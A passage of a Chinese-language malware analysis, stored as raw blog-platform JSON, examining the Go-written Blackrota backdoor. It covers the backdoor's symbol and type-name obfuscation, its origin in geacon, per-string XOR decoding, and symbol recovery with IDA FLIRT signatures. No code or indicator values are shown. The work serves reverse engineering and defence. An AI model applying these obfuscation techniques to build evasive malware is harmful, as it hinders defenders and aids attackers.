Payload，会从以下 2 个 URL 下载 32bit 或者 64bit "],[0,[0],1,"Blackrota"],[0,[],0," 后门程序："]]],[10,2],[1,"h3",[[0,[0],1,"Blackrota 后门程序概况"]]],[1,"p",[[0,[],0,"如上文所述，"],[0,[0],1,"Blackrota"],[0,[],0," 的后门程序由 Go 语言编写，在 IDAPro 中用 "],[0,[0,3],2,"go_parser"],[0,[],0," 解析之后，可以发现该程序由 "],[0,[0],1,"Go1.15.3"],[0,[],0," 编译而来，编译该项目的主机中，"],[0,[0],1,"GOROOT"],[0,[],0," 路径为 "],[0,[1],1,"\"/usr/local/Cellar/go/1.15.3/libexec\""],[0,[],0," 。另外，还可以分析出该项目涉及的源码文件路列表(源码文件的目录以随机字符串命名)："]]],[10,3],[1,"h3",[[0,[0],1,"Blackrota 的函数符号"]]],[1,"p",[[0,[],0,"从 "],[0,[0,3],2,"go_parser"],[0,[],0," 的解析结果来看，给逆向分析工作带来最大阻力的，则是"],[0,[0],1,"Blackrota"],[0,[],0," 样本中导入的第三方库源码中的"],[0,[0],1,"函数名"],[0,[],0,"(Function Names)、"],[0,[0],1,"数据类型名"],[0,[],0,"(Type Names)以及部分"],[0,[0],1,"类型绑定的方法名"],[0,[],0,"(Method names)被混淆成无意义的随机字符。解析后的部分函数列表："]]],[10,4],[1,"p",[[0,[],0,"被混淆的数据类型定义："]]],[10,5],[1,"p",[[0,[],0,"另外，仍有部分绑定在数据类型上的方法名未被完全混淆："]]],[10,6],[1,"p",[[0,[],0,"Go 语言二进制文件构建时，是全静态链接构建二进制文件。所以会把标准库和第三方库中用到的所有代都打包进二进制文件中，导致二进制文件体积很大。这种特性从逆向分析角度来看，就是在反汇编工具中打开 Go 二进制文件就会看到少则几千、多则上万个函数。如果这些函数没有相应的符号信息，那么针对 Go 二进制文件的逆向分析工作就会举步维艰。"]]],[1,"p",[[0,[],0,"好在 Go 语言还有另外一个机制：构建二进制文件时，还会把"],[0,[0],1,"运行时符号信息"],[0,[],0,"(RTSI, Runtime Symbol Information)和"],[0,[0],1,"运行时类型信息"],[0,[],0,"(RTTI, Runtime Type Information)都打包进二进制文件中，并且无法被 Strip 掉。当前业界几乎所有针对 Go 二进制文件的逆向辅助插件或脚本，以 "],[0,[0,3],2,"go_parser"],[0,[],0," 为例，都是通过解析 Go 二进制文件中这些符号信息和类型信息来恢复大量的符号和类型定义，进而辅助逆向分析工作的。Go 语言项目经常导入大量的第三方开源 Package，通过分析这类工具解析出来的符号信息，就能顺藤摸瓜找到相应的开源 Package，阅读第三方 Package 的源码，则会让逆向分析工作效率进一步提升。"]]],[1,"p",[[0,[],0,"而 "],[0,[0],1,"Blackrota"],[0,[],0," 这种混淆符号信息和类型信息的手法，恰好扼住了这类逆向辅助工具的”命门”。使它们解析、恢复出来的符号信息变得没有可读性，也就失去了符号和类型信息的意义，更无法确知项目中用到了哪些第三方库。这样就会让逆向分析工作变得阻碍重重。"]]],[1,"p",[[0,[],0,"经过我们仔细分析，才发现 "],[0,[0],1,"Blackrota"],[0,[],0," 的样本是由 "],[0,[0,2],2,"geacon"],[0,[],0," 改写而来。"]]],[1,"p",[[0,[],0,"这样一来，我们就可以尝试用以下步骤来恢复 "],[0,[0],1,"Blackrota"],[0,[],0," 样本中的函数符号："]]],[3,"ol",[[[0,[],0,"编译一个与 "],[0,[0],1,"Blackrota"],[0,[],0," 样本相同 CPU 架构的 "],[0,[0,2],2,"geacon"],[0,[],0," ，不做 striped 处理，保留符号信息；"]],[[0,[],0,"在 IDAPro 中用 "],[0,[0,4],2,"idb2pat.py"],[0,[],0," 来提取 "],[0,[0,2],2,"geacon"],[0,[],0," 中函数的 Pattern("],[0,[0],1,"geacon.pat"],[0,[],0,")；"]],[[0,[],0,"用 Flair Tools 中的 "],[0,[0],1,"sigmake"],[0,[],0," 工具来制作 "],[0,[0],1,"geacon"],[0,[],0," 的 Flirt Signature 文件("],[0,[0],1,"geacon.sig"],[0,[],0,")；"]],[[0,[],0,"在 IDAPro 中向 "],[0,[0],1,"Blackrota"],[0,[],0," 的样本导入 "],[0,[0],1,"geacon.sig"],[0,[],0,"，识别并恢复函数符号。"]]]],[1,"p",[[0,[],0,"大功告成！但还不能高兴太早，因为我们发现 "],[0,[0],1,"Blackrota"],[0,[],0," 的函数符号并没有完全被识别，还有近百个函数没有被 "],[0,[0],1,"geacon"],[0,[],0," 的符号所覆盖，部分被识别的函数如下："]]],[10,7],[1,"h3",[[0,[0],1,"Blackrota 中的字符串"]]],[1,"p",[[0,[],0,"其实， "],[0,[0,3],2,"go_parser"],[0,[],0," 本来是可以解析 Go 二进制文件中的字符串的，它还可以为解析好的字符串创建 Data Reference 到字符串引用的地方，这样逆向二进制文件时，在什么代码处引用了什么字符串就会一目了然。但是我们上面用 "],[0,[0,3],2,"go_parser"],[0,[],0,"  来解析 "],[0,[0],1,"Blackrota"],[0,[],0," 只看到极个别的 Go 标准库里用到的函数被解析，而 geacon 内部的字符串则没有被解析出来。"]]],[1,"p",[[0,[],0,"问题就出在上面没有被 "],[0,[0],1,"geacon"],[0,[],0," 的符号所覆盖的函数上面。"]]],[1,"p",[[0,[],0,"通过分析，我们发现 "],[0,[0],1,"Blackrota"],[0,[],0," 对它内部用到的所有字符串都进行了 XOR 编码处理，并会在运行的时候动态解码字符串再引用。每一个字符串都有一个对应的 XOR 解码函数，此函数解出一串字符并返回，然后解出的字符串会在父函数中被引用。其中的一个 XOR 解码函数关键部分如下图："]]],[10,8],[1,"h2",[[0,[0],1,"总结"]]],[1,"p",[[0,[],0,"Go 语言编写的被混淆过的程序很少见，除了个别白帽子简单的尝试，以前见过同行曝光的一个只混淆 "],[0,[0],1,"package main"],[0,[],0," 中函数符号的"],[0,[5],1,"勒索病毒"],[0,[],0,"："]]],[10,9],[1,"p",[[0,[],0,"该勒索病毒只简单混淆了 main package 中的几个函数的名字，几乎不会给逆向分析工作带来什么阻力："]]],[10,10],[1,"p",[[0,[],0,"而 "],[0,[0],1,"Blackrota"],[0,[],0," 的混淆方式，则给逆向分析工作带来新的挑战。随着 Go 语言的流行，将来 Go 语言编写的恶意软件会越来越多，而针对性的对抗也会频频出现。"],[0,[0],1,"Blackrota"],[0,[],0," 或许只是一个开始。"]]],[1,"h2",[[0,[0],1,"IoCs:"]]],[1,"h3",[[0,[0],1,"MD5"]]],[10,11],[1,"h3",[[0,[0],1,"C&C"]]],[10,12]],"ghostVersion":"3.0"}